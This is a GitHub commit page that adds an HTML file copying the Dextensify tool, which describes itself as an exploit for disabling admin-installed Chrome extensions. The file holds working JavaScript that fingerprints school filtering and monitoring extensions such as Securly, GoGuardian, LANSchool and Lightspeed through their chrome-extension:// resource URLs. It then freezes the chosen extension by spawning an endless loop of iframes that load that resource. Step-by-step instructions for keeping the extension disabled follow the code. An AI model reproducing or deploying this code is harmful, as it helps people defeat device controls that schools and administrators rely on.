Skip to content
This repository has been archived by the owner on Sep 29, 2024. It is now read-only.

Commit

Permalink
Create dextens1fy.html
Browse files Browse the repository at this point in the history
  • Loading branch information
dragon731012 authored Jan 23, 2024
1 parent 6f319c9 commit 57dd623
Showing 1 changed file with 291 additions and 0 deletions.
291 changes: 291 additions & 0 deletions apps/afiles/dextens1fy.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,291 @@
<!DOCTYPE html>
<!-- saved from url=(0050)https://3kh0.github.io/ext-remover/Dextensify.html -->
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title>Dextensify</title>

<meta name="viewport" content="width=device-width">
<style>
* {
font-family: Sans-serif;
color: #d4d3da;
}
a {
color: #6daebd;
}
a:hover {
color: #4f9eb0;
}
pre, code {
font-family: monospace;
background-color: #1e2324;
padding: 4px;
overflow-x: auto;
}
pre {
padding: 8px;
}
pre code {
background-color: transparent;
border: none;
padding: 0px;
}
body {
background-color: #1e2324;
width: 100%;
height: 100%;
margin: 0px;
}
button {
background-color: #33626c;
padding: 6px;
padding-left: 8px;
padding-right: 8px;
border: transparent;
font-size: 15px;
}
#main_div {
max-width: 800px;
object-fit: contain;

background-color: #252b2d;

padding: 4px;
padding-left: 16px;
padding-right: 16px;

margin: 16px;
margin-left: auto;
margin-right: auto;
}
#buttons_container {
display: flex;
flex-wrap: wrap;
gap: 8px;
}
</style>
<script>
let from_id = id => document.getElementById(id);
let extensions = {
"securly_new": {
name: "Securly",
url: "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css"
},
"securly_old": {
name: "Securly (old)",
url: "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css"
},
"goguardian": {
name: "Goguardian",
url: "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js"
},
"lanschool": {
name: "LANSchool",
url: "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html"
},
"linewize": {
name: "Linewize",
url: "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html"
},
"blocksi": {
name: "Blocksi",
url: "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html"
},
"fortiguard": {
name: "Fortiguard",
url: "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js"
},
"cisco": {
name: "Cisco Umbrella",
url: "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html"
},
"contentkeeper": {
name: "ContentKeeper",
url: "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png"
},
"securlyclassroom": {
name: "Securly Classroom",
url: "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html"
},
"hapara": {
name: "Hapara",
url: "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html"
},
"iboss": {
name: "iboss",
url: "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html"
},
"lighspeed": {
name: "Lightspeed",
url: "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png"
},
"interclass": {
name: "InterCLASS Filtering Service",
url: "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html"
},
"intersafe": {
name: "InterSafe GatewayConnection Agent",
url: "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js"
},
"gopher_buddy": {
name: "Gopher Buddy",
url: "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png"
},
"lanschool_helper": {
name: "LanSchool Web Helper",
url: "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html"
},
"imtlazarus": {
name: "IMTLazarus",
url: "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json"
},
"impero_backdrop": {
name: "Impero Backdrop",
url: "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html"
},
"mobile_guardian": {
name: "Mobile Guardian",
url: "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html"
},
};

async function check_url(url) {
let controller = new AbortController();
let timeout = setTimeout(() => controller.abort(), 500);

try {
await fetch(url, {signal: controller.signal});
return true;
}
catch (error) {
let error_msg = error+"";
return error_msg.includes("AbortError");
}
}

async function detect_extensions() {
let detected = [];
for (let extension of Object.values(extensions)) {
let exists = await check_url(extension.url);
if (exists) {
detected.push(extension);
}
}
return detected;
}

async function main() {
let detected = await detect_extensions();
let buttons_container = from_id("buttons_container")

if (!window.chrome) {
buttons_container.innerHTML = `<p><b>Error: You are not running a Chromium-based browser.</b></p>`;
return;
}
else if (detected.length === 0) {
buttons_container.innerHTML = `<p><b>Error: No supported extensions detected.</b></p>`;
buttons_container.innerHTML += `<p style="margin-top: -16px;">If you want support for a specific extension added, please make an issue on the <a href="https://github.com/ading2210/dextensify">Github repository</a>, and provide the extension ID and manifest.</p>`;
return;
}
else {
buttons_container.innerHTML = ""
}

for (let extension of detected) {
let button = document.createElement("button");
button.innerText = `Freeze ${extension.name}`;
button.onclick = () => {
button_handler(extension);
}
buttons_container.append(button);
}
}

function button_handler(extension) {
let cancel = !confirm("After hitting OK, there will be a 5 second delay until the extension starts being frozen. Switch to another tab immediately to prevent the entire device from locking up.");
if (cancel) return;

setTimeout(() => {
create_iframes(extension);
}, 5000);
}

function create_iframes(extension) {
let iframes = []
let iterations = 5;
let public_url = extension.url;

while (true) {
let iframe = document.createElement("iframe");
document.body.append(iframe);
iframes.push(iframe);

//let subframe_count = Math.max(2, 200 - iterations);
for (let i=0; i<50; i++) {
let subframe = document.createElement("iframe");
subframe.src = public_url;
subframe.style.width = subframe.style.height = "1px";
iframe.contentDocument.body.append(subframe);
}

while (iframes.length > Math.max(3, 10-iterations)) {
iframes[0].remove();
iframes.shift();
}

iterations++;
}
}

window.onload = main;
</script>
</head>
<body data-new-gr-c-s-check-loaded="8.908.0" data-gr-ext-installed="">
<div id="main_div">
<h1 style="margin-top: 8px">Dextensify</h1>
<p>Dextensify is an exploit which lets you disable most admin-installed Chrome extensions from any webpage.</p>
<h2>Instructions</h2>
<ol>
<li>Open chrome://extensions in a new tab. Keep this page open.</li>
<li>Go to the settings page for the extension you want to disable.</li>
<li>On the Dextensify page, click the "freeze extension" button. Immediately switch back to the chrome://extensions tab.</li>
<li>Back on the chrome://extensions page, spam the "allow access to file URLs" switch for a few seconds.</li>
<li>The extension should now be temporarily disabled. For this
effect to persist, flip the "allow access to file URLs" again every few
minutes, or if pages start getting blocked again.</li>
<li>You may also need to reopen this page every once in a while to prevent an unavoidable memory leak from crashing the system.</li>
</ol>
<p>During this process, your Chromebook may hang momentarily. This is normal, and it should resolve itself after a few seconds.</p>
<div id="buttons_container"><p><b>Error: No supported extensions detected.</b></p><p style="margin-top: -16px;">If you want support for a specific extension added, please make an issue on the <a href="https://github.com/ading2210/dextensify">Github repository</a>, and provide the extension ID and manifest.</p></div>
<br>
<hr>
<details>
<summary style="margin-bottom: 8px;">
Made by <a href="https://ading.dev/" target="_blank">ading2210</a>. This file is licensed under the MIT license.
</summary>
<pre>MIT License
Copyright (c) 2023 ading2210

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.</pre>
<p style="font-size: 13px; text-align: right;"><i>Version 1.1.1</i></p>
</details>
</div>


<grammarly-desktop-integration data-grammarly-shadow-root="true"></grammarly-desktop-integration></body></html>

1 comment on commit 57dd623

@deno-deploy
Copy link

@deno-deploy deno-deploy bot commented on 57dd623 Jan 23, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Failed to deploy:

Module not found "file:///src/index.js".

Please sign in to comment.